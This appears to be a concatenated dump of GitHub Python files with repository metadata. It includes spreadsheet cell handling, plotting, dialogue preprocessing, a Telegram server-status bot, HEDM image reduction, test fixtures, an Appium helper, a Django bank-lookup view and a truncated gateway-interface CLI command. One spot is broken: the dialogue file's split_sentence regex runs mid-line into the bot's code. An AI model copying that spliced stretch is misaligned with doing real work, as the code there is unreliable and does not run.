if sh:\n sheet = sh\n\n ads, numrows, numcols = resolve_range(range)\n # ensure in the same nested format as fs/vs will be\n if numrows == 1:\n ads = [ads]\n elif numcols == 1:\n ads = [[x] for x in ads]\n\n # get everything in blocks, is faster\n r = excel.get_range(range)\n fs = r.Formula\n vs = r.Value\n\n for it in (list(zip(*x)) for x in zip(ads, fs, vs)):\n row = []\n for c in it:\n a = c[0]\n f = c[1] if c[1] and c[1].startswith('=') else None\n v = c[2]\n cl = Cell(a, sheet, value=v, formula=f)\n row.append(cl)\n cells.append(row)\n\n # return as vector\n if numrows == 1:\n cells = cells[0]\n elif numcols == 1:\n cells = [x[0] for x in cells]\n else:\n pass\n else:\n c = Cell.resolve_cell(excel, range, sheet=sheet)\n cells.append(c)\n\n numrows = 1\n numcols = 1\n\n return (cells, numrows, numcols)\n\n def asdict(self):\n if self.is_range:\n cell_range = self.range\n value = {\n \"cells\": cell_range.addresses,\n \"values\": cell_range.values,\n \"nrows\": cell_range.nrows,\n \"ncols\": cell_range.ncols\n }\n else:\n value = self.value\n\n data = {\n \"address\": self.address(),\n \"formula\": self.formula,\n \"value\": value,\n \"python_expression\": self.python_expression,\n \"is_named_range\": self.is_named_range,\n \"should_eval\": self.should_eval\n }\n return data\n\n @staticmethod\n def from_dict(d, cellmap=None):\n cell_is_range = type(d[\"value\"]) == dict\n if cell_is_range:\n range = d[\"value\"]\n if len(range[\"values\"]) == 0:\n range[\"values\"] = [None] * len(range[\"cells\"])\n value = RangeCore(\n range[\"cells\"], range[\"values\"],\n nrows=range[\"nrows\"], ncols=range[\"ncols\"], cellmap=cellmap)\n else:\n value = d[\"value\"]\n new_cell = Cell(\n d[\"address\"], None, value=value, formula=d[\"formula\"],\n is_range=cell_is_range,\n is_named_range=d[\"is_named_range\"],\n should_eval=d[\"should_eval\"])\n new_cell.python_expression = d[\"python_expression\"]\n new_cell.compile()\n\n return new_cell\n","repo_name":"vallettea/koala","sub_path":"koala/Cell.py","file_name":"Cell.py","file_ext":"py","file_size_in_byte":8869,"program_lang":"python","lang":"en","doc_type":"code","stars":133,"dataset":"github-code","pt":"37"} +{"seq_id":"22461188849","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.io.matlab import loadmat\nfrom parameter_analyse.spike_oscilation.python_file.print.print_exploration_analysis import getData\nfrom parameter_analyse.analyse_dynamic.print_figure.print_stability import print_stability\n\npath_init = os.path.dirname(os.path.realpath(__file__)) + \"/../../simulation/master_seed_0/\"\npath = os.path.dirname(__file__) + '/../../../analyse_dynamic/matlab/'\ntable_name = 'first_exploration'\nlist_variable = [\n {'name': 'b', 'title': 'b', 'min': -1.0, 'max': 90.0},\n {'name': 'rate', 'title': 'rate', 'min': 1.0, 'max': 200.0}\n ]\nfor path_bifurcation, b in [('/EQ_Low/EQ_low.mat', 0.0),\n ('/b_30/EQ_Low/EQ_Low.mat', 30.0),\n ('/b_60/EQ_Low/EQ_Low.mat', 60.0)]:\n # get network result\n network_data = np.concatenate([np.expand_dims(range(100), axis=1), np.load(path_init + '/'+str(b)+'_mean_var.npy')], axis=1)\n # bifurcation data:\n bifurcation_data = loadmat(path+path_bifurcation)\n bifurcation_data['x'][:2] *= 1e3\n bifurcation_data['x'][-1] *= 1e3\n bifurcation_data['x'][2:5] *= 1e7\n if b == 0.0:\n bifurcation_data['x'] = np.vstack((bifurcation_data['x'][:5], np.zeros((1, bifurcation_data['x'].shape[1]), ), bifurcation_data['x'][5]))\n datas = {'excitatory': {'rate': [], 'std': [], 'std_rate':[]}, 'inhibitory': {'rate': [], 'std': [], 'std_rate':[]}}\n for population in datas.keys():\n data_base = path_init + '/database.db'\n data_global = getData(data_base, table_name, list_variable, population, cond=' AND b = '+str(b)+' ')\n datas[population]['rate'].append(data_global['rates_average'])\n datas[population]['std'].append(data_global['rates_std'])\n datas[population]['std_rate'].append(np.array(data_global['cvs_IFR_1ms'])*np.array(data_global['rates_average']))\n datas[population]['std_rate'].append(np.array(data_global['cvs_IFR_0_1ms']) * np.array(data_global['rates_average']))\n plt.figure()\n plt.plot(data_global['rate'], datas['excitatory']['rate'][0], 'x', ms=5.0)\n print_stability(bifurcation_data['x'], bifurcation_data['f'], bifurcation_data['s'], 6, 0, letter=True, linewidth=1.0)\n plt.plot(network_data[:, 0], network_data[:, 1], 'x', ms=5.0)\n\n plt.figure()\n plt.plot(data_global['rate'], datas['excitatory']['std_rate'][0], 'x', ms=5.0)\n print_stability(bifurcation_data['x'], bifurcation_data['f'], bifurcation_data['s'], 6, 2, letter=True, linewidth=1.0)\n plt.plot(network_data[:, 0], network_data[:, 2], 'x', ms=5.0)\n plt.figure()\n plt.plot(data_global['rate'], datas['inhibitory']['rate'][0], 'x', ms=5.0)\n print_stability(bifurcation_data['x'], bifurcation_data['f'], bifurcation_data['s'], 6, 1, letter=True, linewidth=1.0)\n plt.plot(network_data[:, 0], network_data[:, 3], 'x', ms=5.0)\n plt.figure()\n plt.plot(data_global['rate'], datas['inhibitory']['std_rate'][0], 'x', ms=5.0)\n print_stability(bifurcation_data['x'], bifurcation_data['f'], bifurcation_data['s'], 6, 4, letter=True, linewidth=1.0)\n plt.plot(network_data[:, 0], network_data[:, 4], 'x', ms=5.0)\n plt.show()\n\n","repo_name":"lionelkusch/compare_zerlaut","sub_path":"parameter_analyse/static/python_file/plot/plot_compare_rate_meanfiringrate.py","file_name":"plot_compare_rate_meanfiringrate.py","file_ext":"py","file_size_in_byte":3225,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"6566570575","text":"import re\nfrom dataclasses import dataclass\nfrom typing import *\n\nimport nltk\nimport pandas as pd\nfrom spacy.tokens import Doc\n\nfrom .model_manager import get_spacy_model\n\n\n# nltk.download('punkt')\n\n\n@dataclass\nclass Utterance:\n role: str = None\n spacy_doc: Doc = None\n\n\n@dataclass\nclass Sentence:\n role: str = None\n spacy_doc: Doc = None\n\n\ndef init_utterance_text_list(text: str, task: str,\n exceptions: List[List[str]] = None) -> List[Tuple[str]]:\n results = []\n if task == \"A\" or task == \"B\":\n role_pattern = '^[A-Z].*?:'\n # handle format exception\n if exceptions is not None:\n for x, y in exceptions:\n text = text.replace(x, y)\n Utterances_with_role = text.split('\\r\\n')\n roles = []\n utterances = []\n for each in Utterances_with_role:\n if not each:\n continue\n role = re.findall(role_pattern, each)\n if len(role) == 0:\n continue\n assert len(role) == 1, f\"Invalid Utterance!, found {len(role)} roles in {each}\"\n role = role[0].replace(':', '')\n roles.append(role)\n utterance = re.sub(role_pattern, '', each)\n utterances.append(utterance)\n results = list(zip(roles, utterances))\n elif task == \"C\":\n role_pattern = '\\[.*?\\] '\n # handle format exception\n if exceptions is not None:\n for x, y in exceptions:\n text = text.replace(x, y)\n Utterances_with_role = text.split('\\n')\n roles = []\n utterances = []\n for each in Utterances_with_role:\n if not each:\n continue\n role = re.findall(role_pattern, each)\n if len(role) == 0:\n continue\n assert len(role) == 1, f\"Invalid Utterance!, found {len(role)} roles in {each}\"\n role = role[0].strip()\n roles.append(role)\n utterance = each.replace(role, '', 1)\n utterances.append(utterance)\n results = list(zip(roles, utterances))\n return results\n\n\ndef init_from_str_dialogue(text: str, task: str,\n exceptions: List[List[str]] = None) -> List[Utterance]:\n \"\"\"\n Split a text (utf-8) into a list of Utterances\n \"\"\"\n\n text_results = init_utterance_text_list(text, task, exceptions=exceptions)\n nlp = get_spacy_model()\n spacy_docs = nlp.pipe([x[-1] for x in text_results])\n roles = [x[0] for x in text_results]\n results = []\n for spacy_doc, role in zip(spacy_docs, roles):\n results.append(Utterance(role=role, spacy_doc=spacy_doc))\n return results\n\n\ndef read_dataframe(input_file_path,\n dialogue_column: str,\n index_column: str, **kwargs):\n df = pd.read_csv(input_file_path)\n assert index_column in df, f\"Column {index_column} not found in the csv file! Available columns are {df.columns}\"\n assert dialogue_column in df, f\"Column {dialogue_column} not found in the csv file! Available columns are {df.columns}\"\n return {\"df\": df}\n\n\ndef read_dataset(input_file_path,\n dialogue_column: str,\n index_column: str,\n task: str = \"B\",\n exceptions: List[List[str]] = None) -> Dict:\n df = pd.read_csv(input_file_path)\n assert index_column in df, f\"Column {index_column} not found in the csv file! Available columns are {df.columns}\"\n assert dialogue_column in df, f\"Column {dialogue_column} not found in the csv file! Available columns are {df.columns}\"\n dialogue_list = []\n for sample in df[dialogue_column]:\n dialogue_list.append(init_from_str_dialogue(sample, task=task, exceptions=exceptions))\n return {\"dialogue_list\": dialogue_list, \"df\": df}\n\ndef save_df(df: pd.DataFrame, output_file_path: str, **kwargs) -> bool:\n df.to_csv(output_file_path, index=False)\n return True\n\n\ndef get_sent_from_utterance(utterance_list: List[Utterance]) -> List[Sentence]:\n \"\"\"\n Sentence segmentation of a dialogue\n (recommend spacy.Doc)\n Param: List of utterances\n Return: List of sentences\n \"\"\"\n result = []\n nlp = get_spacy_model()\n for utterance in utterance_list:\n # for sent in utterance.spacy_doc.sents:\n # result.append(Sentence(role=utterance.role, spacy_doc=sent.as_doc()))\n if re.search(r\"^(\\.|\\,)\", utterance.spacy_doc.text):\n new_sent = utterance.spacy_doc.text[2:]\n else:\n new_sent = utterance.spacy_doc.text\n sents = nltk.sent_tokenize(new_sent)\n for sent in sents:\n result.append(Sentence(role=utterance.role, spacy_doc=nlp(sent)))\n\n return result\n\n\ndef get_formatted_dialogue(text, task) -> List[Sentence]:\n \"\"\"\n Take a spoken-cleaned dialogue with punctuations from dataset,\n convert it to list of fully preprocessed Sentences ready for next tasks.\n \"\"\"\n nlp = get_spacy_model()\n utterance_list = init_from_str_dialogue(text, task)\n sent_list = get_sent_from_utterance(utterance_list)\n for i in range(len(sent_list)):\n sent_list[i].spacy_doc = nlp(sent_list[i].spacy_doc.text)\n return sent_list\n\n\ndef is_meaning_full_sentence(text):\n words = text.split()\n words = [w for w in words if len(w) > 0 and w[0] != '[' and w[-1] != ']']\n return len(words) >= 3\n\n\ndef split_sentence(text,\n mark_noisy_sentence: bool = False,\n _MEANINGLESS_TEXT: str = None,\n simple: bool = True) -> List[str] :\n if simple:\n sents = re.split('(? hdd.txt')\n with open('hdd.txt', 'r') as file_hdd:\n data_hdd = file_hdd.read().replace('\\n', '')\n\n bot.reply_to(message, ('Filesystem Size Used Avail Use% Mounted on' + \"\\n\" + data_hdd) )\n\n@bot.message_handler(commands=['uptime'])\ndef send_welcome(message):\n os.system('uptime > uptime.txt')\n with open('uptime.txt', 'r') as file_uptime:\n data_uptime = file_uptime.read().replace('\\n', '')\n bot.reply_to(message, (data_uptime))\n\n@bot.message_handler(commands=['ram'])\ndef send_welcome(message):\n os.system('free -h | grep Mem > mem.txt')\n with open('mem.txt', 'r') as file_mem:\n data_mem = file_mem.read().replace('\\n', '')\n bot.reply_to(message, (data_mem[-7:-1] + ' free'))\n \n@bot.message_handler(commands=['temperature'])\ndef send_welcome(message):\n os.system('sensors |grep Package > temp.txt')\n with open('temp.txt', 'r') as file_temp:\n data_temp = file_temp.read().replace('\\n', '')\n bot.reply_to(message, (data_temp))\n\n@bot.message_handler(commands=['hardware'])\ndef send_welcome(message):\n os.system('sensors |grep Package > temp.txt')\n os.system('free -h | grep Mem > mem.txt')\n os.system('uptime > uptime.txt')\n os.system('df -h / | grep / > hdd.txt')\n \n with open('temp.txt', 'r') as file_temp:\n data_temp = file_temp.read().replace('\\n', '')\n with open('mem.txt', 'r') as file_mem:\n data_mem = file_mem.read().replace('\\n', '')[-7:-1] + ' free'\n with open('uptime.txt', 'r') as file_uptime:\n data_uptime = file_uptime.read().replace('\\n', '')\n with open('hdd.txt', 'r') as file_hdd:\n data_hdd = 'Filesystem Size Used Avail Use% Mounted on' + \"\\n\" + file_hdd.read().replace('\\n', '')\n bot.reply_to(message, (data_temp + \"\\n\" +data_mem + \"\\n\" +data_uptime + \"\\n\" +data_hdd))\n \n\n@bot.message_handler(content_types=['photo'])\ndef photo(message):\n print('message.photo =', message.photo)\n fileID = message.photo[-1].file_id\n print('fileID =', fileID)\n file_info = bot.get_file(fileID)\n print('file.file_path =', file_info.file_path)\n downloaded_file = bot.download_file(file_info.file_path)\n with open('image.jpg', 'wb') as new_file:\n new_file.write(downloaded_file)\n detect(message)\n send(message)\n \n \ndef detect(message):\n pass # здесь будет детекция\n plt.savefig('testplot.png')\n Image.open('testplot.png').convert('RGB').save('image2.jpg','JPEG')\n #Image.open('testplot.png').save('testplot.png','PNG')\n\n\ndef send(message):\n\n chat_id = message.chat.id\n bot.send_chat_action(message.chat.id, 'upload_photo')\n \n bot.send_chat_action(chat_id, 'upload_photo')\n bot.send_chat_action(chat_id, 'upload_photo')\n img = open('image2.jpg', 'rb')\n bot.send_photo(chat_id, img)\n img.close()\n #только что мы скачали файл, который был передан нам в сообщении, в папку, из которой\n #был запущен скрипт. в кач-ве имени файла используется image.jpg, следовательно\n #каждый новый файл затирает старый, чтобы место не закончилось. \nprint('ready(bot started)')\nbot.polling()\n","repo_name":"F4SH4RP/dls-project-spring-2021","sub_path":"telebot part.py","file_name":"telebot part.py","file_ext":"py","file_size_in_byte":5333,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29445329932","text":"#!python\nimport sys\nsys.path.insert(0, '..')\nimport hexomap\nfrom hexomap import reduction\nimport numpy as np\ntry:\n from mpi4py import MPI\n mpi4py_ = True\nexcept ImportError: \n mpi4py_ = None\nimport atexit\nimport matplotlib.pyplot as plt\nimport time\nfrom hexomap.reduction import segmentation_numba\nfrom hexomap import IntBin\nimport time\nfrom hexomap import config\nimport os\nimport argparse\nimport tifffile\nif mpi4py_ is not None:\n from hexomap import mpi_log\n atexit.register(MPI.Finalize)\n comm = MPI.COMM_WORLD\n size = comm.Get_size()\n rank = comm.Get_rank()\nelse:\n size = 1\n rank = 0\n############################# Example useage: #######################################\n'''\nmpirun -n 1 python mpi_reduction_Au2_NF_LineFocus.py\nTo monitor progress\n tail -f output_path/*.log\n'''\n################################ Input Session #######################################\nDefault_Config={\n 'startIdx': 0,\n 'NRot': 360,\n 'NDet': 5,\n 'NLayer': 1,\n 'idxLayer': 3,# if is int, serve as start index. //binary name is f'{binInitial}z{idxLayer[lIdxLayer[i]]}_{str(lIdxRot[i]).zfill(digitLength)}.bin{lIdxDet[i]}'\n 'aIdxImg': None ,# must be 3d array [i][j][k] is the ith layer, jth detector, kth rotation\n 'extention': '.tif',\n 'initial': f'/home/heliu/work/Au_calibrate/Raw/Integrated-fullRotation/Au_volume2_NSUM10_bsf_fullrotation_',\n 'digitLength': 6,\n 'outputDirectory': '/home/heliu/work/Au_calibrate/Reduction/reduced_z3_new/',\n 'identifier': 'Au_calibrate',\n 'generateBkg': True,\n 'generateBin': True,\n 'baseline': 10,\n 'minNPixel': 4,\n 'medianSize': 3,\n}\n######################################################################################\nparser = argparse.ArgumentParser(description='hedm reduction')\nparser.add_argument('-c','--config', help='config file, .yml ,.yaml, h5, hdf5', default=\"no config\")\nargs = vars(parser.parse_args())\nprint(args['config'])\nif args['config'].endswith(('.yml','.yaml','h5','hdf5')):\n c = config.Config().load(args['config'])\n print(c)\n print(f'===== loaded external config file: {sys.argv[1]} =====')\nelse: \n c = config.Config(**Default_Config)\n print(c)\n print('============ loaded internal config ===================')\n\n####################################################################################\n\nstartIdx =c.startIdx\nNRot = c.NRot\nNDet = c.NDet\nNLayer = c.NLayer\n#print(type(c.idxLayer))\nif (isinstance(c.idxLayer, str) and c.idxLayer =='None') or c.idxLayer is None:\n idxLayer = np.arange(NLayer)\nelif isinstance(c.idxLayer, np.ndarray):\n idxLayer = c.idxLayer \nelif isinstance(c.idxLayer, int):\n #print('loading as inteter')\n idxLayer = c.idxLayer + np.arange(NLayer)\n # binary name is f'{binInitial}z{idxLayer[lIdxLayer[i]]}_{str(lIdxRot[i]).zfill(digitLength)}.bin{lIdxDet[i]}'\nelse:\n raise ValueError(f'unknown input type of c.idxLayer {c.idxLayer}')\nprint(f'idxLayer: {idxLayer}')\nif (isinstance(c.aIdxImg, str) and c.aIdxImg =='None') or c.aIdxImg is None:\n aIdxImg = None\nelse:\n aIdxImg = c.aIdxImg # must be 3d array [i][j][k] is the ith layer, jth detector, kth rotation\nextention = c.extention \ninitial = c.initial \ndigitLength = c.digitLength \noutputDirectory = c.outputDirectory \nidentifier = c.identifier \ngenerateBkg = True\ngenerateBin = True\n#print(f'c.generateBkg: {c.generateBkg}')\nif c.generateBkg=='false' or c.generateBkg==False:\n generateBkg=False\nif c.generateBin=='false' or c.generateBin==False:\n generateBin=False \nbaseline = c.baseline \nminNPixel = c.minNPixel \nmedianSize = c.medianSize\n\n\nbkgInitial = os.path.join(outputDirectory, f'{identifier}_bkg')\nbinInitial = os.path.join(outputDirectory, f'{identifier}_bin')\nif mpi4py_ is not None:\n logFileName = os.path.join(outputDirectory, f'{identifier}_reduction.log')\n\nif rank==0:\n if not os.path.exists(outputDirectory):\n os.makedirs(outputDirectory)\nif mpi4py_ is not None:\n comm.Barrier()\n logfile = mpi_log.MPILogFile(\n comm, logFileName, \n MPI.MODE_WRONLY | MPI.MODE_CREATE | MPI.MODE_APPEND\n )\n logfile.write(f\"rank: {rank} : hello\\n\")\nfor layer in range(NLayer):\n NTotal = NDet * NRot\n if aIdxImg is None:\n lIdxImg = np.arange(NTotal) + startIdx\n else:\n assert aIdxImg.shape == (NLayer, NDet, NRot)\n lIdxImg = aIdxImg[layer,:,:].ravel()\n \n lIdxLayer = np.array([idxLayer[layer]]).repeat(NDet * NRot)\n lIdxDet = np.arange(NDet).repeat(NRot)\n lIdxRot = np.tile(np.arange(NRot), NDet)\n lBkgIdx = np.arange(NDet).repeat(NRot)\n NPerCore = int(np.ceil(float(NTotal)/size))\n lIdxImg = lIdxImg[rank::size]\n lIdxLayer = lIdxLayer[rank::size]\n lIdxDet = lIdxDet[rank::size]\n lIdxRot = lIdxRot[rank::size]\n lBkgIdx = lBkgIdx[rank::size]\n print(lIdxLayer, lIdxDet, lIdxRot, lBkgIdx,lIdxImg)\n # generate background:\n if rank==0:\n if mpi4py_ is not None:\n logfile.write('start generating bkg \\n')\n start = time.time()\n if generateBkg:\n print(generateBkg)\n print('generate bkg')\n if rank==0:\n img = tifffile.imread(f'{initial}{str(startIdx).zfill(digitLength)}{extention}')\n lBkg = reduction.median_background(initial, startIdx, bkgInitial,NRot=NRot, NDet=NDet, NLayer=1,layerIdx=[idxLayer[layer]],digitLength=digitLength, end=extention,imgshape=img.shape)\n else:\n lBkg = None\n if mpi4py_ is not None:\n lBkg = comm.bcast(lBkg, root=0)\n\n else:\n print('skip bkg')\n lBkg = []\n if mpi4py_ is not None:\n logfile.write(f'loading bkg, rank{rank}...')\n for det in range(NDet):\n lBkg.append(np.load(f'{bkgInitial}_z{idxLayer[layer]}_det_{det}.npy'))\n if mpi4py_ is not None:\n logfile.write(f'end loading bkg, rank{rank}')\n if mpi4py_ is not None:\n comm.Barrier()\n if rank==0:\n if mpi4py_ is not None:\n logfile.write('end generating bkg \\n')\n end = time.time()\n if mpi4py_ is not None:\n logfile.write(f'time take generating bkg: {end-start} \\n')\n start = time.time()\n if generateBin:\n for i in range(NPerCore):\n bkg = lBkg[lBkgIdx[i]]\n fName = f'{initial}{str(lIdxImg[i]).zfill(digitLength)}{extention}'\n if mpi4py_ is not None:\n logfile.write(f\"generate binary: rank: {rank} : layer: {lIdxLayer[i]}, det: {lIdxDet[i]}, rot: {lIdxRot[i]}, {os.path.basename(fName)}\\n\")\n sys.stdout.write(f\"\\r generate binary: rank: {rank} : layer: {lIdxLayer[i]}, det: {lIdxDet[i]}, rot: {lIdxRot[i]}, {os.path.basename(fName)}\\n\")\n sys.stdout.flush()\n try:\n img = tifffile.imread(fName)\n except FileNotFoundError:\n print('file not found')\n img = np.zeros([2048,2048])\n if mpi4py_ is not None:\n logfile.write(f\"ERROR: FILEMISSING: rank: {rank} : layer: {lIdxLayer[i]}, det: {lIdxDet[i]}, rot: {lIdxRot[i]}, {os.path.basename(fName)} MISSING\\n\")\n except IndexError:\n img = np.zeros([2048,2048])\n print(f'file destroyed: {fName}')\n if mpi4py_ is not None:\n logfile.write(f\"ERROR: FILE NOT COMPLETE: rank: {rank} : layer: {lIdxLayer[i]}, det: {lIdxDet[i]}, rot: {lIdxRot[i]}, {os.path.basename(fName)} Destroyed\\n\")\n #img = tifffile.imread(fName)\n binFileName = f'{binInitial}z{lIdxLayer[i]}_{str(lIdxRot[i]).zfill(6)}.bin{lIdxDet[i]}'\n snp = segmentation_numba(img, bkg, baseline=baseline, minNPixel=minNPixel,medianSize=medianSize)\n IntBin.WritePeakBinaryFile(snp, binFileName)\n if mpi4py_ is not None:\n logfile.write(f'rank {rank}: finish segmentation') \n del lBkg, snp \n if mpi4py_ is not None:\n comm.Barrier()\n\n if rank==0:\n end = time.time()\n if mpi4py_ is not None:\n logfile.write(f'time taken generating binary: {end - start} seconds \\n')\n startIdx += NTotal\nif mpi4py_ is not None:\n logfile.close() \n \n","repo_name":"HeLiuCMU/HEXOMAP","sub_path":"scripts/reduction.py","file_name":"reduction.py","file_ext":"py","file_size_in_byte":8151,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"23794264077","text":"\nimport os\nimport shutil\nimport tarfile\n\nimport pytest\n\n\n_SAMPLE_IMAGES = os.path.abspath(\n os.path.join(os.path.dirname(__file__), '..', 'data', 'pictures.tar.gz' ))\n\n_SAMPLE_TIMELAPSE_IMAGES = os.path.abspath(\n os.path.join(os.path.dirname(__file__), '..', 'data', 'timelapse.tar.gz' ))\n\n_TEST_DATA_DIR = \"/tmp/organizer_test\"\n_INPUT_PATH = os.path.join(_TEST_DATA_DIR, \"source\")\n_OUTPUT_PATH = os.path.join(_TEST_DATA_DIR, \"destination\")\n\n\ndef reset_dir(path):\n try:\n shutil.rmtree(path)\n os.makedirs(path)\n except FileNotFoundError:\n os.makedirs(path)\n\n\n@pytest.fixture\ndef input_raw_images_path():\n reset_dir(_INPUT_PATH)\n\n with tarfile.open(_SAMPLE_IMAGES, \"r:gz\") as tf:\n tf.extractall(_INPUT_PATH)\n\n return os.path.join(_INPUT_PATH, 'pictures')\n\n\n@pytest.fixture\ndef destination_path():\n reset_dir(_OUTPUT_PATH)\n return _OUTPUT_PATH\n\n\n@pytest.fixture\ndef destination_tar_file():\n reset_dir(_OUTPUT_PATH)\n return os.path.join(_OUTPUT_PATH, 'archive.tar.gz')\n\n\n@pytest.fixture\ndef input_timelapse_images_path():\n reset_dir(_INPUT_PATH)\n\n with tarfile.open(_SAMPLE_TIMELAPSE_IMAGES, \"r:gz\") as tf:\n tf.extractall(_INPUT_PATH)\n\n return os.path.join(_INPUT_PATH, 'timelapse')\n\n\n","repo_name":"mmuppidi/photo_tools","sub_path":"tests/unit/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35288886870","text":"# 对driver 或者元素查找封装\nimport yaml\nfrom appium.webdriver.webdriver import WebDriver\nfrom selenium.webdriver.common.by import By\n\n\nclass BasePage:\n # 实例变量 子类可以使用\n _driver: WebDriver = None\n #黑名单\n _black_list=[(By.ID,\"iv_close\")]\n\n def __init__(self, driver: WebDriver = None):\n self._driver = driver\n\n#对find进行封装 实现异常捕获\n def find(self, locator, value):\n try:\n #没有黑名单 就正常返回\n element = self._driver.find_element(locator, value)\n return element\n #遍历黑名单\n except:\n # 遍历黑名单\n for black in self._black_list:\n #若发现了黑名单\n elements = self._driver.find_elements(*black)\n #若长度大于0 代表找到了黑名单\n if len(elements) > 0:\n #默认取出第一个元素 进行点击\n elements[0].click()\n break\n #再次去查元素\n return self.find(locator, value)\n\n\n def steps(self, path):\n #打开路径下的yaml文件\n with open(path) as f:\n #读取yaml文件的内容\n steps = yaml.safe_load(f)\n print(steps)\n #[{'by': 'id', 'locator': 'tv_search', 'action': 'click'}]\n\n element = None\n #循环遍历yaml文件里的内容\n for step in steps:\n if \"by\" in step.keys():\n #step[\"by\"]代表提取by的值\n element = self.find(step[\"by\"], step[\"locator\"])\n if \"action\" in step.keys():\n #提取action\n action = step[\"action\"]\n #如果action等于click,就点击\n if action == \"click\":\n element.click()\n\n\n","repo_name":"dj225625/PycharmProjects_2","sub_path":"test_ui/page/base_page.py","file_name":"base_page.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24270827261","text":"import json\nfrom django.core import serializers\n\nfrom .models import BankBranches\nimport herokubankapp.common.utils as utils\nimport herokubankapp.common.httputils as httputils\n\n\n# Create your views here.\ndef bankdetails(request):\n result = httputils.Result()\n if \"ifsc\" in request.GET:\n ifsc = request.GET.get(\"ifsc\", \"\").strip()\n # ifsc should be 11 characters long\n if utils.isIfscValid(ifsc):\n # get bank details against ifsc from model\n details = BankBranches.objects.filter(ifsc=ifsc.upper())\n if details.count() > 0:\n # if found, serialize to json and return fields\n serialized_json = serializers.serialize(\"json\", details)\n bank = json.loads(serialized_json)[0]\n if \"fields\" in bank:\n result.setSuccessStatus().setData(bank[\"fields\"])\n else:\n result.setSuccessStatus().setData(bank)\n else:\n result.setFailureStatus(reason=\"bank details not found\")\n else:\n result.setFailureStatus(reason=\"invalid ifsc code\")\n elif \"name\" in request.GET and \"city\" in request.GET:\n name = request.GET.get(\"name\", \"\").strip()\n city = request.GET.get(\"city\", \"\").strip()\n if len(name) <= 0:\n result.setFailureStatus(reason=\"bank name empty\")\n elif len(city) <= 0:\n result.setFailureStatus(reason=\"city empty\")\n else:\n # find banks in the city with given name\n banks = BankBranches.objects.filter(city=city.upper(),\n bank_name=name.upper())\n bank_list = []\n # convert banks to json and return data\n for bank in banks:\n bank_list.append({\"ifsc\": bank.ifsc,\n \"branch\": bank.branch,\n \"address\": bank.address,\n \"city\": bank.city,\n \"state\": bank.state,\n \"name\": bank.bank_name})\n if len(bank_list) > 0:\n result.setSuccessStatus().setData(bank_list)\n else:\n result.setFailureStatus(reason=\"no matching banks found\")\n else:\n result.setFailureStatus(reason=\"insufficient parameters. pass either ifsc or bank name and city\")\n return result.constructResponse()\n","repo_name":"milind-utsav/herokubankapp","sub_path":"herokubankapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32840093855","text":"from eclcli.common import command\nfrom eclcli.common import utils\nfrom ..networkclient.common import utils as to_obj\n\n\nclass ListGwInterface(command.Lister):\n def get_parser(self, prog_name):\n parser = super(ListGwInterface, self).get_parser(prog_name)\n\n parser.add_argument(\n '--name',\n metavar=\"name\",\n help=\"filter by name\")\n parser.add_argument(\n '--id',\n metavar=\"id\",\n help=\"filter by id\")\n parser.add_argument(\n '--status',\n metavar=\"status\",\n help=\"filter by status\")\n parser.add_argument(\n '--service_type',\n metavar=\"service_type\",\n help=\"filter by service_type\")\n parser.add_argument(\n '--internet_gw_id',\n metavar=\"internet_gw_id\",\n help=\"filter by internet gateway id\")\n parser.add_argument(\n '--aws_gw_id',\n metavar=\"aws_gw_id\",\n help=\"filter by aws gateway id\")\n parser.add_argument(\n '--interdc_gw_id',\n metavar=\"interdc_gw_id\",\n help=\"filter by interdc gateway id\")\n parser.add_argument(\n '--vpn_gw_id',\n metavar=\"vpn_gw_id\",\n help=\"filter by vpn gateway id\")\n parser.add_argument(\n '--fic_gw_id',\n metavar=\"fic_gw_id\",\n help=\"filter by fic gateway id\")\n parser.add_argument(\n '--netmask',\n metavar=\"netmask\",\n help=\"filter by netmask\")\n parser.add_argument(\n '--network_id',\n metavar=\"network_id\",\n help=\"filter by network id\")\n parser.add_argument(\n '--gw_vipv4',\n metavar=\"gw_vipv4\",\n help=\"filter by gateway ipv4\")\n parser.add_argument(\n '--gw_vipv6',\n metavar=\"gw_vipv6\",\n help=\"filter by gateway ipv6\")\n parser.add_argument(\n '--primary_ipv4',\n metavar=\"primary_ipv4\",\n help=\"filter by primary ipv4\")\n parser.add_argument(\n '--primary_ipv6',\n metavar=\"primary_ipv6\",\n help=\"filter by primary ipv6\")\n parser.add_argument(\n '--secondary_ipv4',\n metavar=\"secondary_ipv4\",\n help=\"filter by secondary ipv4\")\n parser.add_argument(\n '--secondary_ipv6',\n metavar=\"secondary_ipv6\",\n help=\"filter by secondary ipv6\")\n parser.add_argument(\n '--vrid',\n metavar=\"vrid\",\n help=\"filter by vrid\")\n return parser\n\n def take_action(self, parsed_args):\n network_client = self.app.client_manager.network\n\n columns = (\n 'id',\n 'name',\n 'service_type',\n 'network_id',\n 'status',\n )\n column_headers = (\n 'ID',\n 'Name',\n 'Service Type',\n 'Network',\n 'Status',\n )\n\n search_opts = {}\n if parsed_args.name:\n search_opts.update({\"name\": parsed_args.name})\n if parsed_args.id:\n search_opts.update({\"id\": parsed_args.id})\n if parsed_args.status:\n search_opts.update({\"status\": parsed_args.status})\n if parsed_args.service_type:\n search_opts.update({\"service_type\": parsed_args.service_type})\n if parsed_args.interdc_gw_id:\n search_opts.update({\"interdc_gw_id\": parsed_args.interdc_gw_id})\n if parsed_args.internet_gw_id:\n search_opts.update({\"internet_gw_id\": parsed_args.internet_gw_id})\n if parsed_args.aws_gw_id:\n search_opts.update({\"aws_gw_id\": parsed_args.aws_gw_id})\n if parsed_args.vpn_gw_id:\n search_opts.update({\"vpn_gw_id\": parsed_args.vpn_gw_id})\n if parsed_args.fic_gw_id:\n search_opts.update({\"fic_gw_id\": parsed_args.fic_gw_id})\n if parsed_args.netmask:\n search_opts.update({\"netmask\": parsed_args.netmask})\n if 